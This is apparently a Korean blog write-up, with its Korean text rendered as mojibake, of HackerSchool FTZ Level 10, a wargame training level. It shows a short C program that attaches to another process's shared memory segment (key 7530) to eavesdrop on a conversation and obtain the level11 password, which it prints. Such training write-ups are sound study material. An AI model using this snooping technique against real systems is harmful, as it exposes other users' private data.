
Published 2022. 7. 7. 17:58
728x90
HackerSchool FTZ Level 10 WriteUp
๋ ๋ช ์ ์ฌ์ฉ์๊ฐ ๋ํ๋ฐฉ์ ์ด์ฉํ์ฌ ๋น๋ฐ์ค๋ฌ์ด ๋ํ๋ฅผ ๋๋๊ณ ์๋ค.
๊ทธ ๋ํ๋ฐฉ์ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ด์ฉํ์ฌ ๋ง๋ค์ด์ก์ผ๋ฉฐ,
key_t์ ๊ฐ์ 7530์ด๋ค. ์ด๋ฅผ ์ด์ฉํด ๋ ์ฌ๋์ ๋ํ๋ฅผ ๋์ฒญํ์ฌ
level11์ ๊ถํ์ ์ป์ด๋ผ.
- ๋ ๋ฒจ์ ์๋ฃํ์ จ๋ค๋ฉด ์์ค๋ ์ง์ฐ๊ณ ๋๊ฐ์ฃผ์ธ์.
IPC ์์ ๋ชฉ๋ก(๊ณต์ ๋ฉ๋ชจ๋ฆฌ, ์ธ๋งํฌ์ด, ๋ฉ์์ง ํ)์ ์กฐํํ๋ icps ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํด๋ณด์.
0x00001d6a(16) = 7530(10)
key๊ฐ 7530์ธ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ๊ฐ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ด์ /tmp ๋๋ ํ ๋ฆฌ์์ ์ ๋ณด๋ฅผ ์ด์ฉํด ์ฝ๋๋ฅผ ์์ฑํ๊ณ ์ปดํ์ผํด๋ณด์.
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/shm.h>
main()
{
int i;
char *j;
i = shmget(7530,1028,IPC_CREAT|0666); // ๊ณต์ ๋ฉ๋ชจ๋ฆฌ์ ID๋ฅผ ๋ฐ๊ณ
j = shmat(i,NULL,0); // ํ๋ก์ธ์ค๋ฅผ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ์ ์ฐ๊ฒฐํ๋ค.
printf("%s",j); // ๊ณต์ ๋ฉ๋ชจ๋ฆฌ ๋ด์ฉ์ ์ถ๋ ฅํ๋ค.
}
์ฝ๋๋ฅผ ์คํ์์ผ๋ณด์.
๋ฉ๋ฉ: level11์ ํจ์ค์๋๋?
๊ตฌํ: what!@#$?
๋น๋ฐ๋ฒํธ๋ฅผ ์์๋์ผ๋ ๋ก๊ทธ์ธํด๋ณด์.
level11์ ๋ก๊ทธ์ธ๋์๋ค.
728x90
'๐๐ฌ๐ฃ๐๐๐ก๐ ๐ป > HackerSchool FTZ WriteUp' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
xShell ๊ธ์ ๊นจ์ง ์ธ์ฝ๋ฉ ํด๊ฒฐ๋ฒ (0) | 2022.07.09 |
---|---|
HackerSchool FTZ Level9 WriteUp (0) | 2022.07.07 |
HackerSchool FTZ Level8 WriteUp (0) | 2022.07.07 |
HackerSchool FTZ Level7 WriteUp (0) | 2022.07.07 |
HackerSchool FTZ Level6 WriteUp (0) | 2022.07.07 |